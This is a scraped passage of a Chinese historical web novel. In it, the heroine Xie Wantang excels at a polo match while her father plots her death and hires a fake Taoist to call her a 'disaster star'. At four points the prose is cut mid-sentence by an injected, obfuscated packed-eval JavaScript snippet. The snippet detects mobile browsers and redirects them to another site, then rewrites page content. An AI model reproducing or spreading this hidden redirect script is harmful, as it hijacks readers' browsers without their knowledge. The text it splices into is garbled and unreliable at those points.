海云卿刚刚没理会谢詹杭,而是坚持邀请谢晚棠下场,也不过是不想她被谢家束缚着,想让谢晚棠有更多的机会,体验不同的生活罢了。 可谢晚棠能不能行,她真的摸不准。 她已经跟人打好招呼了。 会有人在暗中保护谢晚棠,同时,她们几个下场的小姐妹,也会尽力护着她一点。 以防万一。 有很多话,海云卿没说。 但是,从她的脸上,从周围几位小姐和善的目光中,谢晚棠能读到她们的善意,那些不曾宣之于口的关心和安排,她也能猜个七七八八。 谢晚棠眉眼弯弯。 “海小姐放心,我之前也骑过几次马,虽不精通,但自保没有问题。” “那就好。” 海云卿长舒了一口气。 时候不早了,海云卿一众人翻身上马,准备开始。 谢晚棠手牵着缰绳,轻轻的摸了摸马,她没急着上马,而是放眼望向这马场,她只觉得一颗心,都像是要随风飞起来了。 她又回到这了。 只是,这一世好像比上一世,要更自由了。 “这谢二小姐怎么还不上马?该不会真是不会骑吧?” “那还打什么马球?岂不是要拖后腿?” “自来都被囚禁在后宅里,没见过什么世面,如今想再众人面前出出风头,也是有的。” “啧,眼皮子浅,又自不量力,这可不是什么好事。” 高台上,见谢晚棠不动,议论声频起。 慕枭就坐在高台上。 那些话,他听的清清楚楚。 他看着马场里的谢晚棠,脑海里,陡然想起来那日,谢晚棠到齐王府,在他书房中的模样—— 第98章 破天光 那日,谢晚棠道齐王府给他送矿脉图,在书房里,他问谢晚棠是从哪得来的矿脉图,可谢晚棠不答,反而娇滴滴的冲着他伸手,把被缰绳勒红的手心给他看。 谢晚棠说—— “王爷与其问我,是从哪得来的矿脉图,还不如问问我,骑马过来,拉着缰绳把手拉红了,到底疼不疼?” 那时,她声音清浅浅的,眉眼间也尽是妩媚风情。 但让慕枭印象深刻的,是那道勒痕。 是谢晚棠手上的薄茧。 能从谢家的囚禁折磨中,挣扎求生,走到今日的谢晚棠,没众人想的那么脆弱,也没有他们说的那般不堪。 眼皮子浅?不自量力?没有自知之明? 他们都太不了解谢晚棠了。 这么想着,慕枭不禁又想起从慈恩寺回来那日,他在半路遇袭,谢晚棠骑马冲上山的样子。虽然那时他被黑衣人围困,专注迎敌,并没有细看,可他还是隐约瞧见了谢晚棠侧身控马的样子。 她……擅长骑射! 而且很厉害。 当然,擅长是次要的,重要的是,她的胆略也非比寻常。 终究是这群人眼拙,看轻了她了。 慕枭伸手端起桌上的茶盏,静静的品茶,他的目光,也时不时的往马场中瞟两眼,观察着马场里的情况。 这时,就见一直静默不动的谢晚棠,忽而动了。 她翻身上马。 动作利落,一气呵成。 “嚯,这上马可以啊,瞧着这利落劲儿,可不像是不会骑马的,相反,好像还挺厉害呢。” “看来,是永昌侯府太谦虚了。” “跑起来了,啧,这速度可以啊,挺不错啊,看来今儿这场马球,有的看了,谁输谁赢,或许还真的不好说了。” 议论声四起。 听着那些话,谢詹杭眉头紧锁。 他一双眸子,死死的盯着马场中的谢晚棠。 马场里,谢晚棠骑在马上,她一手拉着缰绳,一手拿着球杖,纵马飞驰,寒风凛凛,裙裾飞扬,不同于平日的沉稳淡然,此刻的她,明艳张扬,鲜活至极,她像是一株迎风的花,随风摇曳,尽是芬芳。 谢詹杭没见过这样惊艳的谢晚棠。 甚至于,谢婉宁跟谢晚棠拥有相似的脸,他也不曾在谢婉宁身上,看到这样的光彩。 像是日光。 破云穿雾,冲天而出,耀眼夺目,摄人心魄。 “她怎么会骑马?这怎么可能?” 谢詹杭正想着,就听到边上,谢夫人不敢置信的念叨。下一瞬,谢夫人直接抓住了他的胳膊。 “侯爷,她被囚禁在侯府后院里,她怎么可能会骑马?还骑的这般好?瞧瞧,她这速度,都已经追上海小姐了,还有那球杖,她挥的也那般精准,她控马控的好,周围的人都拦不住她,这势如破竹之态,哪是不会打的?她什么时候学的?她怎么可能会学到这些?” 谢夫人心里,有一百个疑问,一千个疑问。 她百思不得其解。 可谢詹杭心里,又何尝没有这样的疑问?他又何尝有答案? “够了。” 侧头对着谢夫人,谢詹杭低吼了一声。 眼下周围全都是人,人多眼杂,哪怕他们囚禁谢晚棠的事,在京中早已经是一个公开的秘密了,但总不好当着众人的面亲口说。 他丢不起那个人。 而且,谢夫人眼下情绪太过激动,口不择言,太容易出岔子了。 他今日还有安排,他也不想因为谢夫人一时失言,耽误了大事。 “别忘了这是什么地方,也别忘了今儿是什么日子。” 小不忍则乱大谋。 总归今日是要处置谢晚棠的,就算谢晚棠在马场上出尽了风头,又能如何? 人死如灯灭。 这一点点的风头,随着她不在了,也会如灯灭般,消散于无形。用不了几日,就再也没有人会记得了。 谢夫人听的懂谢詹杭的弦外之音。 可是,她心里就是不痛快。 谢婉宁是她娇养出来的姑娘,而谢晚棠不过是个灾星。 眼下,谢婉宁背负罪名,被万人嘲,她流落在外,下落不明,生死不知,反倒是谢晚棠,成了众人眼中的贵女,众人之前,光彩照人…… 她凭什么? 袖口中,谢夫人的拳头握得紧紧的,指甲几乎掐进了肉里。 这些,谢晚棠不用想也都知道。 她也不在乎。 将马场内的局势看在眼中,了然于心,迅速谋划好马的走向,球的转移位置,之后谢晚棠控马疾驰。 猎猎疾风,这一瞬,都宛若成了她的陪衬。 她在风中恣意张扬。 上辈子,慕枭教给她的,她都用到了极致。 她马控的好,球也打的准,她每一次,都能避开海云卿以及她们一队人的拦截,将球送到预想的位置,不论是传给自己的队友,还是自己骑马去追,她无一失手。 她一连进了三个球。 海云卿瞧着谢晚棠,眼中都不自觉的放光。 “谢二小姐好厉害,看来,我可得加把劲儿了,驾!” 海云卿催马,加快速度。 一时间,马场中你追我赶,激烈的不得了。 高台上。 海国公明显没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827798|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到谢晚棠能有如此身手,瞧着海云卿也被激发出了斗志,他忍不住放声大笑。 “好,好样的,一个个的,巾帼不让须眉,着实不错。” “是啊。” 海国公夫人也连连点头。 “我可是好久没瞧见云卿这般有斗志了,这谢二小姐真是不错,少年风华,年轻真好。” 海国公和海国公夫人满眼赞许,丝毫不吝啬夸赞之词。 慕枭就坐在边上,自然也听到了。 他目光灼灼的盯着谢晚棠。 别人只能看出来谢晚棠马骑的好,马球打的好,可是,他却在谢晚棠的身上,看到了他自己的影子。 谢晚棠控马的技巧,跟他很像。 谢晚棠打球时位置的选择,以及马跑的方向走位,也有几分棋局走势的技巧,跟他有些相似。 某一样的相似,是巧合。 可很多地方、很多事情的相似,就不再是巧合了。 “一人心,两世缘,三重锁,四**,五更雪落袈裟寒,六载梵音跃重渊。七情尽,八苦咽,九重霄,十指连,百劫化烬千莲愿,涅槃成凰盛世传。” 无讳大师在慈恩寺跟他说的那些话,不断在他心头盘桓。 挥散不去。 他之前压下的那些思绪,也再次涌入了脑海。 谢晚棠啊! 呢喃着这个名字,慕枭的手,一下下的摩挲着茶盏,眉眼沉沉。 陷入在自己的思绪里,慕枭神游天外,甚至没有听到海国公唤他,还是边上的天明轻轻的推了他一把,才将他的思绪拉回来。 慕枭转头看向天明,眼神疑惑。 天明侧头看了眼海国公,“王爷,国公爷跟你说话呢。” 闻声,慕枭看向海国公。 “国公爷说什么?” 海国公笑了笑,“这马球虽是玩乐消遣,可也是个小战场,王爷领兵多年,身经百战,是个中高手,不知今日这一局,王爷怎么看?” “国公爷过誉了,个中高手谈不上,至于今日这一局……甚是精彩。” “那王爷觉得,云卿打的如何?” 海国公问的含蓄。 可慕枭身在皇家,周旋于皇权之下,听话听音的本事,他还是有的。 海国公问的,是他觉得海云卿的马球打的如何?也是问的,他觉得海云卿这个人如何?问的他……若是海家有意结亲,又如何? 慕枭听得懂,他也不觉得意外。 目光,不自觉的落到了马场上,他看了看海云卿,之后又看向了谢晚棠。 慕枭的眸子眯了眯。 半晌,他才看向海国公,开口道—— 第99章 许添妆 “海小姐的马球,打的极好,不失海国公当年的英姿。” 这夸赞,让海国公和海国公夫人心头一喜。 慕枭鲜少夸人,更鲜少夸女人。 大家伙儿都是聪明人,他们的心思,慕枭必然也懂,这种情况下,慕枭对海云卿,还不吝啬溢美之词—— 这是好兆头! 就是这时,他们听慕枭又开口询问。 “海小姐应该已经及笄一年多了吧?不知可议了亲事?” 海国公和海国公夫人相互对视了一眼,海国公夫人笑着回应,“还没有呢,这丫头被我们惯坏了,到现在也没有个沉稳劲儿,怕是出去相看,要被人嫌弃**。” 数落的话里,满满的都是宠溺。 慕枭听着,不由自主的想起之前在惊风诗社,谢詹杭让谢晚棠替谢婉宁背锅,诬陷谢晚棠私会外男,水性杨花的场面。 同样出身名门,同样是千金贵女,同样是家人至亲…… 可过的日子却是天差地别。 包括刚刚,众目睽睽之下,谢詹杭对谢晚棠,也不过如此。 马场上,谢晚棠明媚张扬,恣意潇洒,跟海云卿不遑多让,只是,不知道为了保持这一份快乐,她又要在别人看不见的地方,承受多少? 思绪乱飞。 慕枭端着茶盏的手,也微微紧了紧。 连他自己都没有察觉。 半晌,慕枭才回过神来,他轻轻勾唇,“海小姐出身名门,受宠却不骄纵,即便不够沉稳,那也是真性情,想来喜欢海小姐的人不会少,海小姐日后的生活,必定也会事事顺遂。” “王爷谬赞了,但日后云卿若真能觅得良人,幸福顺遂,我们老两口也就安心了。” “会的。” 对上海国公的眸子,慕枭言辞笃定。 “有国公爷和国公夫人为海小姐把关,她日后的夫婿差不了,她日后的日子定然也差不了。等亲事有眉目了,国公爷和国公夫人给个话,我这边一定额外备一份厚礼,待到海小姐出门子的时候,为她添妆。” 为她添妆—— 慕枭用这四个字,表明了他的态度。 他欣赏海云卿,也欣赏海家,但他并无结亲之意。 海国公和海国公夫人听着这话,微微有些诧异,毕竟,刚刚他们真的以为,慕枭会答应的。 到底是他们想多了。 海国公和海国公夫人,下意识的望向马场上的海云卿,不免有些失望。 但是,也就只是一瞬而已。 慕枭这么些年来,一直不近女色,想与他结亲的人家不少,可忙忙碌碌,无功而返,无一例外。 现在换到他们,有这么个答案,其实也没什么可意外的。 他们接受起来,倒也坦然。 “那就承王爷吉言了。” 海国公语气爽朗,眼神依旧柔和含笑。 马场上。 谢晚棠和海云卿丝毫不知道这一切,她们战意十足,你来我往,两个人竭尽所能,倒也不相上下。 一场结束,谢晚棠那一队,也就堪堪领先一球,险胜。 海云卿满眼兴奋,意犹未尽。 “谢二小姐好厉害,今儿还有其他人要下场,不好总占着地方,等过了年没事了,咱们一定要再约时间,再好好的打一场。” 谢晚棠点头。 “只要海小姐想,我随时奉陪。” “那就这么说定了。” 海云卿说着,让人把马都牵下去,把场地空出来给其他人,她则带着下场的小姐妹,一个个的给谢晚棠介绍。 一时间,一群人围着谢晚棠、海云卿说说笑笑,热闹的紧。 两辈子,谢晚棠都没体会过这种感觉。 朋友! 这于被囚禁的她来说,真的太珍贵,也太奢侈了。 谢晚棠脸上,笑意浓郁。 不过,她也没忽视了高台上,死死的盯着她的那道视线。 “侯爷!” 高台上,谢夫人瞧着谢晚棠被围在中间,大受追捧,出尽了风头,她心里像是燃了一把火,燥的厉害。 她忍不住看向谢詹杭,催促谢詹杭。 谢詹杭眉头紧锁。 没有搭理谢夫人,他挥挥手,叫了自己的心腹谢龄过来。 “侯爷……” “嗯,”谢詹杭沉沉的应了一声,他让谢龄附耳过来,他低声吩咐,“计划有变,你去帮我请一个人,然后咱们……” 谢詹杭的声音越来越低,几不可闻。 但杀气却愈发浓郁了。 谢龄闻声,不再耽搁,他转身观察周围,见没人注意,便轻手蹑脚的离开了。 天月、天岚两个,在谢晚棠下场打马球后,一直都不动声色的盯着谢詹杭这边,她们将谢詹杭和谢龄的交谈,以及谢龄鬼鬼祟祟的离开,都看在眼里,她们两个不禁对视一眼。 下一瞬,天月微微上前,和知棋聊天,不着痕迹的遮掩住天岚的身形。 天岚悄无声息的退了下去。 一方面是盯住谢龄。 另一方面,之前她按照谢晚棠的吩咐,约的一个**概要到了,她也得去迎一迎。 大约过了两刻钟,谢晚棠才和海云卿一众人,回到高台上。 见天岚不在,谢晚棠就知道,谢詹杭这边有动静了。 她也不急。 该做的准备,她都已经做了。 剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827799|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,只能是兵来将挡,水来土掩。 谢晚棠坐下喝茶,她刚喝了两口,就见洛氏搀扶着谢婉瑜回来了。 谢婉瑜脸被烫伤的地方,已经上了药膏,但红肿未退,脸颊边缘的位置,还依稀能看见一层细小的水泡,可见被烫的不轻。 大抵是因为脸疼的缘故,谢婉瑜的脸色,难看的厉害。 “婉瑜妹妹,你还好吗?” 谢晚棠看着谢婉瑜,笑眯眯的询问。 谢婉瑜气得发抖。 “你……” “婉瑜,”拉住谢婉瑜,洛氏冲着她摇了摇头,“别闹了,赶紧坐下歇歇吧。” 谢晚棠在马场上出了风头,正是受人关注的时候。 这会儿跟她闹,只会自找麻烦。 而且,之前谢晚棠下场的时候,她可没错过谢詹杭眼底一闪而逝的杀意。之前,她就觉得谢詹杭会带谢晚棠来,有些奇怪,现在她倒是有点想明白了。 醉翁之意不在酒。 只怕谢詹杭就快要动了。 能隔岸观火,坐享其成,她们又何必自己去冲锋陷阵,去当那个恶人? 洛氏心思转得快,只是,谢婉瑜显然没有她想的那么多,谢婉瑜气不过,洛氏强拉着,才让她老老实实的坐在了自己身边。 “啧!” 谢晚棠咂舌。 活了两辈子,她倒是头一次知道,洛氏不一般。 她,有点意思。 谢晚棠心里琢磨着,目光缓缓落到马场上,下一场马球即将开始,有好几个京中的公子,都已经牵着马下场准备了。 上辈子跟着慕枭出去,她倒是也见过一些京中权贵。 只是匆匆一面,她了解的并不深。 眼下,她也只是觉得,其中有两个有些眼熟而已,至于剩下的,她多半都是不认识的。 但让她有些意外的是,江厌居然也牵着马进了场。 他—— 谢晚棠微微挑眉。 这个时候,天月忽而拍了拍谢晚棠的肩膀。 “小姐,你看那边。” 听着天月的声音,谢晚棠顺着她手指的方向看去,只见马场对面,临近进山的小道上,有一个姑娘正在往后山走。 那姑娘带着幕篱,穿着谢婉宁的衣裳,连带着身形也与谢婉宁相似。 谢晚棠放下茶盏,快速起身。 “小姐……” “走,过去瞧瞧。” 沉声说了一句,之后,谢晚棠也不等天月回应什么,她冷着脸,大步下了高台,奔着后山小路的方向去了。 天月不放心,也沉着脸跟在后面。 谢詹杭将一切看在眼里,他的微微垂眸,眼底狂喜…… 第100章 地动惊 谢詹杭目光灼灼的盯着。 眼见着谢晚棠带着天月,一路进了隆御马场的后山,他悬着的心算是彻底放下了 。 去后山好。 有去无回,这个麻烦,也就算是彻底解决了。 谢詹杭端着边上的茶盏喝茶,明明是同一盏茶,可许是心情好的缘故,他现在喝来,倒是觉得茶似乎更香了不少。 谢詹杭静静的等。 大约两刻钟之后,后山突然传出一声巨响。 轰! 刚刚还好好的后山,肉眼可见的山石滚动,山上堆积的雪,也夹杂着枯树杂草,在飞速的往下滚。连带着临近后山的小路,以及马场和高台这边,也能感受到地动山摇的感觉。 山林中,隐隐有野兽声响起。 一声一声,让人心慌。 众人汇聚到高台上,紧盯着后山的方向,人心惶惶。 “这是……地动?” “好端端的,怎么会地动?还是在年根下,这怕不是什么好兆头吧?” “还兆头呢?我听着,山里的野兽似乎惊了,保不齐稍后就会有野兽下山,依我看,咱们还是早点走的好,以防万一。” “啧,这么严重?” “地动可不是闹着玩的,这是山里动了,咱们离的稍远点,要不然说不准咱们这会儿人都已经没了,你说严重不严重?眼下这野兽又动了,一旦猛兽下山,不受控制,说不准咱们都得成猛兽肚子里的肉,全都过不了年了。” “可刚刚还好好的,这事闹的……” 议论声不断,不少人唏嘘。 人群中,谢婉瑜也听到了大家的话,她下意识的抓紧了洛氏。 “娘,是谢晚棠,是那个灾星。” 许是太过激动,谢婉瑜的话,几乎是喊出来的,一时间,不少人冲着她这边看过来。 洛氏眉头紧锁,她死死的盯着谢婉瑜,冷声警告。 “婉瑜,不许乱说。” “娘,我没有乱说,就是那个灾星,全都是因为那个灾星。” “你……” “谢晚棠生来就是灾星,她生来身上就带着晦气,跟她接触的人,就没有一个能落得好的。往年,隆御马场的马球赛还少吗?可何时出过这种乱子?怎么偏偏今儿谢晚棠来了,就闹成了这样?” 越说,谢婉瑜越觉得是那么回事。 眼底恨意滚动。 根本不顾洛氏的阻拦,谢婉瑜急声继续。 “刚刚……我都瞧见了,就在刚刚,谢晚棠进了后山,就是那个方向。她没去的时候,一切都好好的,怎么她一去,后山就地动了?连带着惊动山中猛兽,危及众人?这不是她这个灾星克的,这是什么?” “你说谢晚棠进了后山?” 洛氏有些意外。 之前,她只顾着盯着谢詹杭了,倒是没注意谢晚棠去了哪。 那—— 这是谢詹杭的计? 那此时此刻,谢晚棠应该已经**吧? 慕枭也听到了谢婉瑜的话,他剑眉微挑,下意识的看向了之前天月、天岚站的位置,此刻,两个人均不在,只有一个已经被谢婉瑜的话吓得失了心神,哭成了泪人的知棋。 “去查。” 看向身边的天晴,慕枭冷声吩咐了一句。 天晴会意,即刻下了高台去后山。 他动作很轻,眼下大家伙儿又都处在惊慌里,他的离开,根本没有引起众人的注意。 朝中重臣碍于身份,也碍于男女大防,不好围着谢婉瑜询问。 可不少夫人,还有小姐,早已经过去了。 大家七嘴八舌的问。 “婉瑜,你真的瞧见谢晚棠进后山了?” “她真的是灾星吗?这么说,这次的地动,都是因她而起的?她明知道自己不祥,怎么还能出门,这不是害人吗?” “就是啊,她怎么能这么自私?” “她眼皮子浅,爱凑热闹,想在马场上出风头,可也不能不顾大家伙儿的死活啊?在场的,不是朝中肱骨,就是诰命、千金,哪个不比她尊贵?这若是真出了事,伤了人命,她担待的起吗?” “你们侯府怎么不看紧了她?” “就是就是。” 议论声大了,其中也不乏讨伐的声音,矛头直奔永昌侯府。 谢詹杭等的就是这一刻。 疾步到众人跟前,谢詹杭抱拳,冲着众人行了个大礼,他面色黑沉,缓缓开口。 “诸位,请听谢某一句。” 声音微顿,隐隐带着两分哽咽,谢詹杭面露痛惜之色。 “小女晚棠,的确生来就有灾星之名,可是,这些年来她并没有给任何人带来伤害,甚至因为我的约束,她过去十几年没少吃苦头。此番我带她来赴宴,也是想让她开心开心,弥补下她过往受的苦。 突发地动,众人皆惊,我心中亦惴惴不安。 可是,我不得不说一句,天灾人祸皆难预料,地动之事,这也是说不准的,灾星之说玄之又玄,大家伙儿根本没有证据能证明,此次地动,皆是因小女所起,皆是被她所克。 故而,还请大家口下留情。” 谢詹杭端着一副慈父做派,轻声为谢晚棠辩驳。 左右谢晚棠已经**。 他拿出两分仁慈,为谢晚棠说两句话,也全了自己的名声,摆脱了自己的嫌疑—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840920|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最好不过! 更别说,他后面还有安排呢,这好话也是无用的。 说说又何妨? 谢詹杭心里全都是算计,随着他话音落下,倒是有不少人噤了声。 可海云卿却忍不住上前,死死的盯住谢詹杭。 心里没有感动,她有的全是质疑。 “侯爷,若真如谢婉瑜所言,晚棠人在后山,那现在侯爷最该担心的,不应该是她的安危吗?侯爷也说了,什么灾星不灾星的,这事玄之又玄,谁也没证据能证明,今日的地动,都是因晚棠而起,那大家说什么,又有什么重要的?与这些闲言碎语比起来,难道不是晚棠的性命更重要吗?侯爷在这浪费时间,说些有的没的,做出一副慈父模样,却不见你派人寻她救她,这……对吗?” 海云卿的话,直白又犀利。 一时间,不少人都咂摸过味儿来了,他们看着谢詹杭,眼神里满是玩味和探究。 海国公凝眉,“云卿,不得无礼。” “祖父……” “回来。” 海国公又唤了一声,随即吩咐人,去后山查看情况,以便救人。 谢詹杭被海云卿质问,被众人打量审视,气的不行,他怎么都没想到,海云卿会跳出来坏他的事,还有这些人,也见风使舵,明明怕的厉害,却还质疑他…… 简直愚蠢。 谢詹杭极力克制着,将拳头握的死死的,才没有发作。 他开口解释,“我自然是担心晚棠的,来人,随着国公爷的人一路进山,若是见到小姐,一定要救……” “一定要当场处置,不能留她再为祸人间。” 谢詹杭的话还未说完,一道冷冽的声音,就从众人身后响起。 那话,刚好接了谢詹杭的话。 众人循声望去。 只见身后上高台的台阶上,不知何时,站了一位道士。 他头发花白,身形清癯如鹤,一身藏青色的道袍,已然隐隐发白,宽袖随风轻摆,自有一股仙风道骨之态。 臂弯处,拂尘轻扫。 他在众人的注视中,缓步上前。 “贫道玄微,夜观天象,推算到灾星现世,引地动,惊万兽,伤黎民,为祸四方,特来查看。 而今地动已出,百兽皆惊,已是不祥,若不将灾星即刻铲除,只怕后患无穷。 是以,贫道特来助诸位驱邪除灾,渡各位过灾劫,享安乐。 诸位想顺遂,想家安国宁,务必听贫道一语—— 灾星见,孽已生,劫数至,难太平,斩其骨,焚其形,除其晦,得永宁。 诸位,万万不可手软,贻害四方。 谨记!谨记!” 第101章 水穷处 听着玄微老道的话,在场不少人都变了脸色。 尤其是刚刚,听谢婉瑜说谢晚棠是灾星,就已经对谢晚棠心生不喜,杀意浮动的人,这会儿更是有些坐不住了。 谢婉瑜没想到会有大师出现。 但这些话她爱听。 眼底放光,谢婉瑜心里兴奋,她快速开口。 “大伯,大师的话你也听到了,谢晚棠就是个灾星,若是不弄死她,不但会伤及侯府众人,更会伤了大家。眼下当务之急,就是进山找她,她若是在地动中**最好,若是还活着,也得尽快处置了。” 玄微老道就是谢詹杭安排的。 玄微老道说的每一个字,谢詹杭都不意外,只是,他深知名声要紧,这会儿做戏倒是做的全。 听着谢婉瑜的话,他面色犹豫,尽是迟疑。 见状,谢婉瑜急得不行。 “大伯,不能再留情了,否则,真的伤了众人,伤了国运,咱们侯府如何担待的起?” “可是……” “大伯,国之不存,何以为家?” 谢婉瑜这话,给足了谢詹杭台阶。 虽然他断定,谢晚棠此刻已经**,可他还是摆着一副慈父,但却又顾全大局,不得已而为之的痛心模样。 目光扫过众人,谢詹杭抿着唇,半晌才开口。 “婉瑜说的是,大是大非面前,我不该犹豫的。晚棠她……天生灾星,或许从一开始,我就不该心软的。为了大家,为了天启国运,我……不会再纵容她了。我这就带人进山,若是她已在地动中丧生,便是天意如此,若是她还活着,那我……也会大义灭亲,还大家一个安宁。” 谢詹杭说着就要带人进山。 只是,他才一转身,还没下高台呢,就瞧见了站在台阶处的天岚。 谢詹杭一愣。 四目相对,天岚的脸上全是嘲讽。 “好一个大义灭亲,只是侯爷,你想灭亲是真,这是不是真的大义,怕是就不好说了吧?” “放肆。” 谢詹杭冲着天岚,厉声呵斥。 天岚怎么会怕这个? 嫌恶的白了谢詹杭一眼,天岚随即看向玄微老道。 “一个在南边人人喊打的妖道,跑到京城来,摇身一变,倒成了大师了。一张嘴,说些似是而非的话,就能要人一条命,这是普度众生的得道高人,还是草菅人命的奸邪之辈,在座诸位,心中就没有个判断?天启国法,何时要人性命,断人生死,是靠老道一句话了的?各位办案,也是这般的?” 今日来贺寿的朝臣不少,一个个的,要名声要体面,如何愿意背“草菅人命”的锅? 刚刚,他们就都不出声。 眼下被天岚质问,更是不会冒头,说谢晚棠的不是,喊打喊杀。 左右都有谢詹杭应付,用不着他们。 谢詹杭眸色清冷。 “你是晚棠的下人,你忠心护主,我不怪你。只是,晚棠生来便被断言为灾星,刚刚大师又说了情况严重,地动也证实了大师所言不虚。为了在座诸位的安危,也为了天启国运……” “别动不动就扯上国运。” 还不等谢詹杭的话说完,天岚就将他的话打断了。 她缓缓看向慕枭那头。 “今儿有朝臣在,有皇子在,你们一个个的,都言忠君为国,为朝廷殚精竭虑,怎的到头来忙了一场空,国运如何,又全系在了一个小女子身上了?食君之禄,做个废物,这就是诸位殚精竭虑的结果?那朝廷养你们何用?” “你……” “我没有冒犯诸位大人的意思,只是,我心中实在不解,说一个女子影响国运,将诸位的辛劳视为无物,这真的对吗?” 众人默不作声。 倒是慕枭,沉声开口,“我天启兴衰,在君在臣,不在其他。” “多谢王爷解惑。” 有了慕枭开口,天岚明显更有底气了。 谢晚棠之前就已经安排好了,她自然也不再耽搁。 “齐王仁善,解了我第一个疑惑,那我第二个疑惑便是,谁说我家小姐是天降灾星的?这个人说他是大师,可在座诸位有谁认识他?凭什么他说什么就是什么?” 大家伙面面相觑,没人做声。 谢婉瑜瞧着天岚,火气忍不住蹭蹭的往上窜。 眼瞅着大家伙儿就要进山,就要弄死谢晚棠了,偏她又跑出来**,想扭转局势…… 果然,谢晚棠的人,都一样的晦气。 全是祸害。 谢婉瑜在心里怒骂,她狠狠的剜了天岚一眼。 “谢晚棠自一出生开始,就有大师断言她是灾星,又不是只有玄微道长一个人这么说?能有什么错?” “那请问那位大师,又姓甚名谁?” “这……” “又叫不上名字,又是众人不知的人吗?” 冷眼看着谢婉瑜,天岚语气戏谑。 谢晚棠一早就猜到了,今日会有这一幕,往后她在京中行走,“灾星”两个字背在身上,也必定还会有好多日子,要经历现在所经历的。 所以,她要从根上除患。 今日人多,众目睽睽之下,于她最有利。 之前,天岚并不觉得这安排多有必要,可现在她却觉得,谢晚棠的这一步,走的对极了。 心里这么想着,天岚轻呼了一口气。 再次看向众人,她高声继续。 “刚好,今日我也请了一位大师,我家小姐是不是灾星,还是先听听他怎么说吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840921|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “什么大师?” 谢詹杭听到天岚的话,明显有一瞬间的慌乱。 天岚也不再卖关子,她看向高台之下,众人也跟着看过去。 只见无讳大师款步上了高台。 在这京中,鲜少有人不知道无讳大师的,尤其是些上了年岁,又虔诚信佛的夫人,更是敬重无讳大师。在场的,不说人人都见过无讳大师,但也至少有一半以上,是认识他的。 无讳大师的本事,他们也都知晓。 双手合十,无讳大师勾唇。 “贫僧反复算过谢二小姐的生辰八字,可以断定,她绝非灾星,相反,她命中自带福运之像,虽少时经苦痛困厄,性命堪忧,但行到水穷处,自能涅槃而生,福泽绵延。” “嘶!” 无讳大师的话,让不少人倒吸了一口凉气。 他们的目光,不由自主的落在谢詹杭和玄微老道的身上,意味深长。 玄微老道说的有问题。 那谢詹杭呢? 因为一句“天降灾星”,谢詹杭可是囚禁了谢晚棠十六年呢,现在,听到无讳大师说,谢晚棠不是灾星,他又会不会后悔?还是说,这“灾星”之说,本也是谢詹杭一早算计好的,他本就知情? 众人眼神玩味,那眼神,让谢詹杭头皮发麻。 他心里说不上是什么滋味。 说不高兴,可谢晚棠不是灾星,这于他们永昌侯府而言,于他而言,本是件好事的。 可若说高兴—— 他现在被人看了笑话,被人奚落嘲弄,他屡屡针对谢晚棠,早跟谢晚棠结了仇,他们之间也没有父女情分了,再加上今日这一局,他算计了谢晚棠一条命,他早就没有退路了。 谢晚棠是不是灾星,于他而言,无甚差别。 尤其是,谢晚棠他已经…… 死! 这个在,反复在谢詹杭心里徘徊。 他想着无讳大师说的,谢晚棠“行到水穷处,自能涅槃而生,福泽绵延”,他头一次开始怀疑,谢晚棠进了后山,真的**吗? 会不会真有意外? 无讳大师这个时候来,只是巧合吗? 还是谢晚棠一早就算到了会有今日,特意做了安排? 若是那样,若是谢晚棠没死…… 又会怎样? 谢詹杭一颗心七上八下的,他正寻思着,就见无讳大师看向玄微道人。 “贫僧虽非道门中人,可却也精通天象星象,通晓五行八卦,道长刚刚说夜观天象,察觉有灾星见世,引地动,惊万兽,伤黎民,为祸四方,可贫僧所算到的却恰恰相反。不知道长是如何观天象,如何测算的,又是如何将这些祸事,定在谢二小姐的身上,认定是她引起的?可否不吝赐教?” 第102章 若星辰 无讳大师声音不重。 可那轻飘飘的逼问,却像是巨石,砸在了玄微老道心上。 他也就是个半吊子,故弄玄虚,骗骗不懂行的人还成,真对上无讳大师这样的高人,他一点办法都没有。 额上冷汗涔涔,玄微老道不禁偷偷看向谢詹杭。 